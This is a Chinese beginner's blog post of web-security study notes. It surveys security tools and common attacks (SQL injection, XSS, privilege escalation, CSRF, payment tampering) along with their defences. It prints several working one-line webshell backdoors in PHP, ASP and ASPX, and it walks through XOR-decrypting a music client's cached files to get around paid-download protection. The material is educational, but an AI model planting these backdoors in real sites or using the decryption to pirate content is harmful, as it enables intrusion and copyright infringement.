[網絡安全自學篇] 一.入門筆記之看雪Web安全學習及異或解密示例

最近開始學習網絡安全相關知識,接觸了好多新術語,感覺自己要學習的東西太多,真是學無止境,也發現了好幾個默默無聞寫着博客、做着開源的大神。準備好好學習下新知識,並分享些博客與博友們一起進步,加油。非常基礎的文章,大神請飄過,謝謝各位看官!

下載地址:https://github.com/eastmountyxz/NetworkSecuritySelf-study
百度網盤:https://pan.baidu.com/s/1dsunH8EmOB_tlHYXXguOeA 提取碼:izeb

前文欣賞:
[滲透&攻防] 一.從數據庫原理學習網絡攻防及防止SQL注入
[滲透&攻防] 二.SQL MAP工具從零解讀數據庫及基礎用法
[滲透&攻防] 三.數據庫之差異備份及Caidao利器
[滲透&攻防] 四.詳解MySQL數據庫攻防及Fiddler神器分析數據包


一.工具&術語

1.網安術語

常見安全網站及論壇:

  • 看雪(https://bbs.pediy.com/)
  • 安全客(https://www.anquanke.com)
  • freebuf(https://www.freebuf.com/)
  • 安全牛(https://www.aqniu.com/)
  • 安全內參(https://www.secrss.com/)
  • 綠盟(http://www.nsfocus.com.cn/)
  • 先知社區(https://xz.aliyun.com/)

+++++++++++++++++++++++++++++++++++++++++++++++++++++++

基礎知識:

風險評估
1)滲透測試技術:踩點掃描探測、信息收集、暴力破解、漏洞掃描、Web權限獲取、Web提權、溢出攻擊、植入後門、內網滲透等。
2)安全漏洞的代碼審計和代碼加固技術:緩衝區溢出、拒絕服務、遠程命令執行、注入、跨站、Web提權。

安全防護
1)中間件和Web應用的安全監測與防護方法:框架漏洞、權限繞過、弱口令、注入、跨站、文件包含、文件上傳、命令執行、任意文件讀取和下載等。
2)主流廠商網絡安全設備的調試與配置;主流數據庫系統的補丁、賬號管理、口李玲強度、有效期檢查、遠程服務、存儲過程、審覈層次、備份過程、用戶功能和權限控制等基礎技術;數據庫庫內庫外加密、硬件加密、數據庫審計技術;操作系統安全管理、客戶端訪問控制、入侵檢測技術、數據異地災備等技術。
3)主機操作系統和應用軟件的安全配置、主機運行的應用程序、正常運行所需端口,服務的正確配置,涉及系統安全風險測試、文件系統、關鍵數據、配置信息、口令用戶權限等內容。

應急響應
1)應急響應相關技術:入侵取證分析、日誌審計分析等。
2)操作系統常規安全防護技術:利用系統日誌、應用程序日誌等溯源共計途徑,系統賬號、文件系統、網絡參數、服務、日誌審計等項目安全監測與安全加固方法。
3)網絡設備和安全設備的功能及使用方法:路由器、交換機、防火牆、入侵檢測系統、拒絕服務供給系統、網頁防篡改系統、漏洞掃描系統等。

安全加固
1)操作系統(Windows、Linux、Unix、Mac)的常規安全防護技術:利用系統日誌、應用程序日誌等溯源攻擊途徑,統賬號、文件系統、網絡參數、服務、日誌審計等項目安全監測與安全加固方法。
2)Webcms、中間件、數據庫等常規用Web應用的加固知識,應用防火牆、IPS、IDS等安全設備進行輔助加固措施。

大數據安全
1)雲計算和大數據技術帶來的安全問題:虛擬機安全、應用程序安全、大數據安全。
2)大數據分析技術提升網絡系統安全隱患發現和防護能力。

物聯網安全
1)ID/IC卡的安全漏洞檢測和發現技術,智能卡常見加密算法。
2)物聯網應用環境中典型安全攻擊:RFID攻擊等。
3)無線安全、硬件安全等知識。

其他
1)密碼學概念、加密算法、加密分析工具。
2)網絡攻擊原理及常見網絡攻擊協議,數據包分析工具。
3)Web攻擊種類及常見的Web利用方式,注入攻擊類型及方式。
4)漏洞產生原因、漏洞的利用與防護方式。
5)惡意代碼、逆向工程、沙箱保護。
6)移動互聯網惡意程序檢測與處置機制,移動逆向分析與代碼審計技術、移動安全防護。
7)數據恢復常用技術及工具。
8)工業控制系統、工控漏洞及加固分析、工控漏洞玩、工控安全仿真及蜜罐、工控系統上位機及應用安全等。

+++++++++++++++++++++++++++++++++++++++++++++++++++++++

常見攻擊手段:

  • 掃描
  • 破解
  • 溢出
  • 木馬病毒
  • Web攻擊
  • 無線攻擊
  • VPN劫持
  • Kali攻擊
  • MAC泛洪攻擊
  • 時鐘攻擊

+++++++++++++++++++++++++++++++++++++++++++++++++++++++

常見術語:

  • 0day
  • 動態分析、靜態分析
  • 逆向分析
  • PE文件
  • 註冊回調
  • HOOK技術
  • 注入技術
  • 加殼、脫殼、加花
  • 社會工程學
  • 供應鏈滲透
  • SAM哈希暴力
  • 彩虹表
  • 數據取證
  • 可信計算

+++++++++++++++++++++++++++++++++++++++++++++++++++++++

下面分享2019年看雪安全峯會的幾張圖,與君共勉。
CSDN和看雪都已經20年了,這些年見證了無數技術更新,博友不斷成長。


2.常用工具

Burpsuite

Burpsuite是用於攻擊web應用程序的集成平臺,包含了許多工具。Burpsuite爲這些工具設計了許多接口,以加快攻擊應用程序的過程。所有工具都共享一個請求,並能處理對應的HTTP 消息、持久性、認證、代理、日誌、警報。通常利用Burpsuite抓包分析,尋找Web漏洞。

手機APP滲透兩種思路:
(1) 電腦瀏覽器打開鏈接,burpsuite抓包,修改user-Agent的內容。一般是判斷user-Agent裏有沒有MicroMessenger(適合沒有做重定向,或者重定向不加token驗證)。
(2) 做了重定向,加token驗證。手機和電腦同在一個局域網下,設置電腦爲手機代理,用burpsuite抓包。設置了電腦代理手機的情況下,電腦相當於一層網關,自然抓取的到。

+++++++++++++++++++++++++++++++++++++++++++++++++++++++

Fiddler
Fiddler是位於客戶端和服務器端的HTTP代理,也是目前最常用的http抓包工具之一 。 它能夠記錄客戶端和服務器之間的所有 HTTP請求,可以針對特定的HTTP請求,分析請求數據、設置斷點、調試web應用、修改請求的數據,甚至可以修改服務器返回的數據,功能非常強大,是web調試的利器。

Fiddler是用C#寫出來的,它包含一個簡單卻功能強大的基於JScript .NET 事件腳本子系統,它的靈活性非常棒,可以支持衆多的http調試任務,並且能夠使用.net框架語言進行擴展。安裝前需安裝microsoft .net framework可執行文件。

手機滲透:可以嘗試抓取微信瀏覽器中的結構頭,接着通過fiddler的方式,在用第三方(360、QQ、谷歌等)打開的時候,所有數據都會經過fiddler,將該結構修改即可。

+++++++++++++++++++++++++++++++++++++++++++++++++++++++

SQLMAP
SQLMAP是一款非常強大的開源滲透測試工具,用於自動檢測和利用SQL注入漏洞控制數據庫服務器的過程。它配備了一個強大的檢測引擎,由Python語言開發完成,通過外部連接訪問數據庫底層文件系統和操作系統,並執行命令實現滲透。

+++++++++++++++++++++++++++++++++++++++++++++++++++++++

OllyDbg
OLLYDBG是一個新的動態追蹤工具,將IDA與SoftICE結合起來的思想,Ring 3級調試器,非常容易上手,己代替SoftICE成爲當今最爲流行的調試解密工具了。同時還支持插件擴展功能,是目前最強大的調試工具。

+++++++++++++++++++++++++++++++++++++++++++++++++++++++

IDA Pro
交互式反彙編器專業版(Interactive Disassembler Professional),是目前最棒的一個靜態反編譯軟件,爲衆多0day世界的成員和ShellCode安全分析人士不可缺少的利器。IDA Pro是一款交互式的,可編程的,可擴展的,多處理器的,交叉Windows或Linux WinCE MacOS平臺主機來分析程序, 被公認爲最好的花錢可以買到的逆向工程利器。IDA Pro已經成爲事實上的分析敵意代碼的標準並讓其自身迅速成爲攻擊研究領域的重要工具。它支持數十種CPU指令集其中包括Intel x86,x64,MIPS,PowerPC,ARM,Z80,68000,c8051等等。

+++++++++++++++++++++++++++++++++++++++++++++++++++++++

pangolin
Pangolin(中文譯名爲穿山甲)一款幫助滲透測試人員進行Sql注入測試的安全工具,是深圳宇造諾賽科技有限公司(Nosec)旗下的網站安全測試產品之一。

+++++++++++++++++++++++++++++++++++++++++++++++++++++++

Caidao
Caidao軟件據說是一個桂林退役士兵寫的,真的很厲害。它是一款Webshell管理工具,支持各種語言,常見的包括ASP、ASPX、PHP、JSP、CFM等,後面希望自己也能深入研究攻防底層內容。目前,Caidao已經被中國蟻劍和冰蠍Behinder取代。

+++++++++++++++++++++++++++++++++++++++++++++++++++++++

中國蟻劍
中國蟻劍是一款開源的跨平臺網站管理工具,它主要面向於合法授權的滲透測試安全人員以及進行常規操作的網站管理員。中國蟻劍採用了Electron作爲外殼,ES6作爲前端代碼編寫語言,搭配Babel&Webpack進行組件化構建編譯,外加iconv-lite編碼解碼模塊以及superagent數據發送處理模塊還有nedb數據存儲模塊,組成了這個年輕而又充滿活力的新一代利器。

它包括的功能有端口掃描、Socks代理、反彈Shell、內網漏洞掃描、內網代理瀏覽器、內網漏洞溢出測試、後門掃描、密碼爆破、打包下載、交互式終端、權限提升。
GitHub上蟻劍搜AntSword:https://gitee.com/mirrors/antSword

+++++++++++++++++++++++++++++++++++++++++++++++++++++++

冰蠍Behinder
地址:https://github.com/rebeyond/Behinder

+++++++++++++++++++++++++++++++++++++++++++++++++++++++

差異備份

數據備份主要分位完全備份、增量備份和差異備份。其中差異備份是指備份自上一次完全備份之後有變化的數據,在差異備份過程中,只備份有標記的那些選中的文件和文件夾。它不清除標記,即備份後不標記爲已備份文件,不清除存檔屬性。

整體流程是先備份日誌,然後插入一句話Muma;再次備份時,數據庫只會備份兩次間隔中的差異,使得生成出來的文件儘可能小,故稱爲“差異備份”。

一句話木馬是:

<?php substr(md5($_REQUEST[*x*]),28)==*acd0*&&eval($_REQUEST[*abc*]);?>
  • 1

一句話木馬插入到數據庫表的a字段中,執行接收自定義Sh參數,類似於URL的Code參數,相當於是一個側門,第二部分Caidao會使用到。

asp:
   <%execute(request("value"))%>
php:
   <?php @eval($_POST[value]);?>
aspx:
   <%eval(Request.Item["value"])%>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

3.推薦文章

看雪 滲透入門——HackInOS
HackinOS是一個滲透靶機,模擬真實的滲透環境,方便我們練習滲透方法。

CSDN鬼手56大神網絡安全6個專欄文章
開源一個自寫的病毒技術工具:https://blog.csdn.net/qq_38474570/article/details/87707942

CSDN劉煥勇大神老師NLP、知識圖譜系列文章
自然語言處理界的小螺絲釘:https://blog.csdn.net/lhy2014/article/details/82954509
Github:https://github.com/liuhuanyong

博客園sch01ar大神逆向工程的文章
實驗吧CTF題庫-WEB題(部分): https://www.cnblogs.com/sch01ar/p/7996159.html

CSDN博友whatiwhere逆向工程文章
IDA Pro使用初探:https://blog.csdn.net/whatiwhere/article/details/81610539
逆向基礎知識:https://blog.csdn.net/whatiwhere/article/details/80158293

CSDN博友caiqiiqi大神的Android Q逆向文章
逆向初體驗之玩“英語趣配音”:https://blog.csdn.net/caiqiiqi/article/details/47832473

黑客是怎樣入侵你的網站的 - Flamingo大神
http://www.freebuf.com/articles/web/7359.html

看雪論壇Web普及文章
勒索病毒WannaCry深度技術分析:https://bbs.pediy.com/thread-217662.htm
Web基礎設施知識及安全攻防:https://bbs.pediy.com/thread-199199.htm
Discuz!ML V3.2代碼執行漏洞復現:https://bbs.pediy.com/thread-252603.htm
內網滲透小記:https://bbs.pediy.com/thread-192778.htm


二.常見攻擊

感謝湯神的分享,推薦大家閱讀下面兩篇原文,這裏主要是學習看雪論壇分享的知識,也作爲自己網絡安全的入門文章,如果讀者覺得這部分不好或侵權,作者可以刪除。

淺析WEB安全編程:https://bbs.pediy.com/thread-222922.htm
XSS跨站總結:https://bbs.pediy.com/thread-196518.htm

代碼注入、CSRF、0元支付、短信轟炸這些都是非常常見的漏洞,這裏簡單解釋這些名詞。

1.SQL注入

湯神從漏洞成因,攻擊方式以及防禦方案三個方面講解SQL注入。漏洞成因我們可以用這兩句話,使用用戶參數拼接這個SQL語句,這個參數改變了原有的SQL結構,改變了這個SQL的注入。
下圖左邊這是一個數據庫,白色部分的字體是我們在代碼中寫到的SQL結構,黑色部分就是攻擊者可能會傳入的參數(‘1’='1’始終成)。當我們把這個SQL結構拼接出來之後形成了一個新的結構,這個結構被執行之後把整張表所有的數據傳輸出來,數據庫比較大的訪問更多請求,整個可能就掛了,還造成一些數據泄漏的情況,這些就是SQL的注入成因,參數改變了原有的SQL結構。

攻擊者通常有哪幾種攻擊方式?
湯神把它分爲了三種類型:一種是回顯注入,一種是報錯注入,一種是盲注。

回顯注入
利用注入漏洞可以改變頁面返回數據,則稱之爲回顯注入。
第一張圖是傳入ID是正常的正型數字,返回的結果是用戶的一個信息傳入ID等於1,上面URL把這個參數修改了一下,等於1,然後加了 or 1=‘1,當它拼接到之後,跟前面一樣把整個表的數據傳輸出來,這邊看到整個用戶表的數據都被列舉出來了。利用漏洞可以改變這個頁面的數據我們叫做回顯注入,這個黑客可以直接把這個數據下載下來。

報錯注入
下圖非常清楚看到,URL上面這個部分是正常URL加上攻擊者所利用的攻擊代碼。其實這上面的攻擊代碼也是執行不了,但放到數據庫中,最後會造成數據庫返回異常碼,並把異常碼拋出來,接着這個用戶名(act_admin 10.59.107.125)就被展示出來了。這是非常敏感的信息,我們寫代碼的時候需要把數據庫拋出來的錯誤屏蔽,不讓其在前臺顯示出來,通過報錯顯示了一些敏感信息,我們稱之爲報錯注入。

盲注
盲注和回顯注入以及報錯注入不一樣,我們沒有辦法通過頁面數據看到它的區別。可以通過兩種方式實現盲注——布爾盲注和時間盲注。下圖中綠色部分是正常URL,紅色部分是布爾注入的表示式,前面加一個and截取一個字符,判斷一下id的第一個字符是不是大於字母a。
如果成立則整個條件都成立,這個時候頁面是有反饋數據的;如果不成立這個頁面就不返回數據,這就是布爾數據。我們可以看到有數據和沒有數據的情況,當字母a不斷變換的時候,也可以把這個數據庫裏面的數據猜測出來。

時間盲注是下面藍色區域部分,我們知道數據庫裏面可以用一些IF函數,也是截取第一個字符,如果這個不成立就到五秒鐘返回,通過這個頁面返回的時間可以判斷這個地方是不是有注入的,也可以把這個數據都給下載下來。

剛剛說到攻擊者碰到的三種攻擊方式,下面看一下怎麼樣檢測頁面當中有沒有注入點?我們通過SQLMAP實現,可以看到這是一個CMD窗口,上面是寫到的檢測表達式,Splmap.py以及需要檢測的UI,需要有這個註冊點它會告訴你有哪些注入,比如說這個頁面是在本地測試的結果,它就告訴了有回顯注入、錯誤注入以及一些盲注。

SQLMAP用法推薦秀璋的另一篇文章:[滲透&攻防] 二.SQL MAP工具從零解讀數據庫及基礎用法

呢麼,怎麼樣防範服務器的安全呢?

第一種方法是攔截帶有SQL語法的參數的傳入。參數會改變SQL的結構,當我們知道這個參數是整型的時候,就把這個參數轉型爲整型,整型肯定不包括這個SQL結構,無法改變結構,哪就不存在SQL注入。

第二種方法是通過預編譯處理拼接參數的SQL語句。有的時候我們無法預測它傳什麼參數,比如我們去論壇回覆一個帖子,肯定沒有辦法控制,這個時候我們可以用PDO預處理,這是最常見的方法,也是一個最好的方法。但有時我們會寫一些複雜社會語句,會用第一種方法,我們先定義好這個SQL語句結構,再把參數放進去,這個時候是無法達到更改SQL語句處理的目的。

第三個方法是定期分析數據庫執行日誌,判斷是否有異常SQL執行。當業務比較大的時候,日誌是非常多的,可以找一些SQL的取模軟件進行取模,取模之後並不太多,如果直接看的話是海量日誌,是沒法看的。


2.XSS跨站

跨網站腳本(Cross-site scripting,通常簡稱爲XSS或跨站腳本或跨站腳本攻擊)是一種網站應用程序的安全漏洞攻擊,是代碼注入的一種。它允許惡意用戶將代碼注入到網頁上,其他用戶在觀看網頁時就會受到影響。這類攻擊通常包含了HTML以及用戶端腳本語言。

XSS攻擊通常指的是通過利用網頁開發時留下的漏洞,通過巧妙的方法注入惡意指令代碼到網頁,使用戶加載並執行攻擊者惡意製造的網頁程序。這些惡意網頁程序通常是JavaScript,但實際上也可以包括Java、VBScript、ActiveX、 Flash或者甚至是普通的HTML。攻擊成功後,攻擊者可能得到更高的權限(如執行一些操作)、私密網頁內容、會話和cookie等各種內容。

主要從漏洞成因、攻擊場景和防禦方法三方面講解。

如上圖所示,上面有一個URL,下面是一個頁面返回的HTML代碼,我們可以看到白色部分HTML是我們事先定義好,黑色部分參數是用戶想搜索的關鍵詞。當我們搜索了test+Div最後等於123,對後反饋頁面一般搜索會告訴你用戶搜索了什麼關鍵詞,結果如何等等。

這個地方如果沒有做好轉移,可能會造成XSS跨站,我們可以看到藍色部分是我們事先定義好的結構,被攻擊者利用之後它先把這個DIV結束了,最後加上一個script標籤,它也有可能不跟你談標籤,直接發送到它的服務器上。參數未經過安全過濾,然後惡意角本被放到網頁當中執行,用戶瀏覽的時候執行了這個腳本。

漏洞原因即爲:

XSS分爲三種類型——反射型、存儲型以及DOM型。

反射型
下圖是專門訓練一些WEB漏洞的練習頁面,我們可以輸入自己的名字,輸入之後會把我們的名字顯示出來。例如我們輸入了一個“張三”,這個時候彈出來了一個“123”,在那邊顯示了一個張三,但是script標籤沒有出來,因爲這個標籤被執行了。

存儲型
在存儲型XSS中,可以看到這個URL上面並沒有代碼,但是依然彈出了一個“1”。它是發現個人資料頁的時候有一個XSS漏洞,在個性簽名的位置填入了一個XSS標籤,彈出了一個“1”,把這個地址發給別人,別人看到這個地址並沒有什麼代碼以爲這個頁面是安全的,結果一打開就插入了這個XSS代碼。

存儲型XSS的攻擊危害比較大,因爲它的頁面當中是看不到這個Script的代碼,別人防不勝防。只要管理員沒有發現,下一個用戶或者下一個用戶一直接發它,而反射型需要用戶主動點擊的。

DOM型
Dom型的XSS是一些有安全意識的開發者弄出來的。比如說接受參數會做一些過濾,把一些字符轉義一下,但是轉義之後依然會存在着XSS的情況,比如說下圖中,我們上面輸入的可以看到這行代碼規律,把這個大括號、小括號以及雙頁號進行轉移,按理說轉移之後它應該不會再作爲它的標籤存在,不會存在XSS的代碼。

下面Script通過ID獲得的這個值,複製到了這個DIV上,經過DOM操作之後,之前轉義的字符就變爲它的標籤,所以經過DOM操作的XSS我們稱之爲DOMXSS。它有可能通過URL傳播,也有可能通過服務器的傳播。

最後給出一些編碼的防範措施。

第一是標籤黑白名單過濾。有時根本就不需要考慮到它是不是HTML標籤,我們根本用不到HTML標籤。

第二是代碼實體轉義。只保留文字部分這是一勞永逸的,有時我們還是需要展示這個標籤,比如說程序論壇當中要貼一個代碼,這個時候我們需要用一些轉義,它會把這個大括號、小括號以及雙引號做一個轉義,做爲一個字符,就無法執行這個標籤型,後面加一個參數,但有時候單引號也會造成XSS。

第三是httponly防止cookie被盜取。一個信號當中有那麼多的地方存在着這個輸入以及檢測的地方,可能就有一些地方漏掉,只要有一個地方漏掉了,用戶的cookie信息就被盜取了。服務器在發送用戶信息的時候,我們需要加上一個httponly,這個代碼無法讀取到cookie的信息,那麼攻擊者也是得不到這個信息的。對於用戶來說也是非常好的保護。比如說張三在我們網站上登陸了一下用戶名,李四他特意發了一個攻擊請求,他拿不到這個用戶ID,就冒充不了這個張三。

如果在Cookie中設置了HttpOnly屬性,那麼通過js腳本將無法讀取到Cookie信息,這樣能有效的防止XSS攻擊


3.越權漏洞

我們再來看看越權漏洞,在一些系統當中如果存在着多種用戶角色,每一種角色有不同的權限。操作業務適合如果權限不嚴格可能會發生越權漏洞。越權分爲垂直越權和平行越權,其產生原因包括:
1)業務系統存在用戶權限驗證
2)對用於的權限驗證不嚴謹
3)用戶能操作不屬於自己權限的操作

平行越權
在WEB系統中有商城,這個商城中必不可少的就有訂單,訂單肯定有一個店鋪ID,我們通常把它設置爲一個自增長的ID,這個ID是一個數字類型。在URL上面如果有一個訂單ID就是100,攻擊者會嘗試100+1,當它ID等於101或者99的時候能否訪問到。

如果能訪問到並且這個訂單信息不是我的,這個地方就存在着一個漏洞。張三可以看到李四的訂單信息,這個時候就存在着越權。張三和李四是平級的用戶,他們兩個權限是一樣,互相可以看到平臺信息這叫做平行越權。

這個有什麼危害呢?
比如說這個網站有漏洞,如果是競爭對手他就可以知道用戶在我的平臺上下過訂單的行爲,然後去營銷。如果把這個訂單ID直接暴露出來,還有一種可能就是競爭對手會根據我們的訂單IP的增長量,判斷我們的增長量,就知道我們一天到底有多少訂單。

平行越權防禦方法:我們查詢的時候必須加上當前用戶的ID,就是orderID加上UID,這樣不會出現張三可以看到李四的訂單了。

垂直越權
接下來我們再看一下垂直越權,這是一個普通用戶進入到後臺管理系統中,他的權限就擴大化了。通常這種情況下,後臺會集成到更多的控制器來統一管理,但依然有一些郵件會漏掉並沒有集成到,就會發生這種情況。

黑客不會一個一個找,會通過一些掃描器發現漏洞進去。建議不要把自增長ID暴露出來,可以做對稱加密或者非對稱加密,先轉換爲一個字母類型,讓別人看不到你的數字型的ID是多少。別人就沒有辦法通過這個加一減一的方式越權,也看不到你的一天業務增長量。

湯神建議儘量把前臺的方法和後臺的方法區分開來。越權,其實不僅僅限於展示,我們剛剛看到了這個訂單,張三可以看到李四的訂單信息是查看,但是有的時候我們修改訂單的時候也會出現這個問題,所以在讀寫的時候都需要注意一下這個越權的問題。


4.CSRF跨站請求僞造

CSRF通常會配合XSS使用。服務端錯把瀏覽器發起的請求當成用戶發起的請求,會造成XSS問題。比如說我打開了張三的網站,登陸了一個用戶信息,李四網站上有一個攻擊代碼,向張三這個網站發起請求,張三的網站會以爲你本人發起的請求,實際上是瀏覽器發出的請求。
產生原因爲:
1)服務端錯把“瀏覽器發起的請求”當成“用戶發起的請求”
2)已登錄的瀏覽器,打開惡意網址後,被執行了相應操作

下圖中有一個表單,左邊是它的源碼,我們可以看到表單每一項都在,但是從安全的角度上考慮它是少了一樣東西,沒有一些驗證碼或者TOKEN等等相關信息。服務端如果沒有驗證這個問題,就會造成這個CSRF的攻擊。

如何檢測我們的系統當中是否存在這個CSRF?
1)去掉token參數嘗試能夠正常請求
2)去掉referer是否可以提交成功
3)是否能用GET提交替代POST提交

如果以上都存在,那麼它就存在CSRF。建議一定要驗證Reeferer信息、Token驗證、圖片驗證碼等。根據業務安全等級越高,最基礎的可以用這個refefe驗證,再高一級就是token,再高一級就是圖片驗證。


5.支付漏洞

最後看看支付漏洞。湯神之前看到一個新聞,有一個浙江老闆,他想做線上找人做了一個網站,這個網站存在着一些支付漏洞,一週之後他發現這個訂單量極速上升,賣了70多萬,結果看了一下帳戶餘額只有幾千塊錢,報警之後才查到原因,但是貨物已經發出去了。

支付漏洞主要產生的原因包括:
1)開發者在數據包中傳遞支付的金額
2)後端沒有對金額做校驗或者簽名
3)導致攻擊者可以隨意篡改金額提交

造成這些漏洞原因有很多,比如說支付金額是由前端提交的數據,不是後端計算的,而且沒有對這個金額做校驗,直接信任前端提交的金額,導致這個攻擊者可以隨即修改這個金額,比如修改爲一分錢,這是非常典型的可以隨意更改這個金額。
上面的金額是94元,這個表單裏面改爲一分錢,最後提交的時候是一分錢,這是非常好的漏洞,也是非常典型的。

修改數量:

還有一個問題是數量的限制,一個價格是26元,一個是27元,把這個數量變爲負一之後,一提交變爲一塊錢了。這是之前數據包的漏洞,他充值了一塊錢,他發現有一個數據包向網站發送,他就把這個數據包反覆重放,就加了好幾次,實際上只充值了一塊錢。

如何防範?
可以限制這個低價購買產品,比如說負數的時候肯定不行,等於零的商品根據業務情況也是需要多注意的。限制免費商品獲得金錢和積分的情況,有一些商品免費,但是它可以獲得一些積分,那就存在着刷積分的情況。

最後給出了湯神此次分享的思維導圖。

PS:真心感激自己要學習的知識好多,也有好多大神臥虎藏龍,低調加油,一起進步~


三.音樂異或解密示例

接下來複現CSDN“鬼手56”大神的文章,他的網絡安全、Crackme、病毒分析、軟件逆向等系列文章真心推薦大家學習,包括他開源的項目,他的文章我都準備all in。

順便補充我倆的對話,一句“今天最開心的是就是看到你的這條評論”道出了多少程序員的純真和可愛,分享知識和開源代碼的路上,真需要你我的點贊。電腦前的你我,一路同行。

參考原文:https://blog.csdn.net/qq_38474570/article/details/87878235


我們打開PC端某音樂客戶端,比如想下載周杰倫的“騎士精神”,通常需要提示付費。

此時點開設置,選中“下載設置”,找到緩存文件目錄。
C:\Users\yxz\AppData\Local\Netease\CloudMusic\Cache\Cache

雙擊播放該歌曲,然後按照尋找最新的文件或只保留一首歌,其中後綴名爲“.uc”的最大文件就是加密過後的文件。

接在將文件拖動到010 Editor軟件,如下圖所示:它是一個加密文件,最多的數據是A3,鬼手大神成果的預測其是加密後的無意義0,通常音頻的加密方式不會太複雜,而最簡單的異或加密(可逆)。

接着點開菜單,Tools(工具),將其轉換爲“十六進制”,進行“二進制異或”操作,修改數據爲無符號十六進制,並對A3進行異或即可。

注意選擇無符號(Unsigned Byte)和異或A3。

異或加密解密:

A3 ⊕ A3 = 00

A 01100001  3  00000011
A 01100001  3  00000011
0 00000000  0  00000000
  • 1
  • 2
  • 3

文件解密如下所示,其中A3變換爲00,解密完之後的字符變得有意義。前三個字節是ID3,這個是MP3文件格式的頭部。

最後將文件重命名爲“.mp3”,此時可以聽歌了,“騎士精神”走起。

PS:這是一個簡單的加密過程,推薦讀者們下載正版歌曲,共同維護版權和綠色網絡環境。同時,異或加密音樂已經很多年了,希望這些開發公司優化下加密算法,解決這個漏洞。這篇文章更希望分享加密的過程給讀者。


四.總結

希望這篇基礎性文章對你有所幫助,如果有錯誤或不足之處,還請海涵。後續將分享更多網絡安全方面的文章了,從零開始很難,但秀璋會一路走下去的,加油。

故人應在千里外,
不寄梅花遠信來。
武漢第一週學習結束,寄了第一封家書給女神,接下來這幾年,應該會寫上200來封吧,很期待,也很漫長,但我倆的故事將繼續書寫。

未來的路還很長,優秀的人真的太多,我們只有做好自己,不忘初心,享受生活,砥礪前行。明天週末繼續奮鬥,晚安娜,記得收信。

(By:楊秀璋 2019-07-31 週三晚上7點寫於武大 https://blog.csdn.net/Eastmount )

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章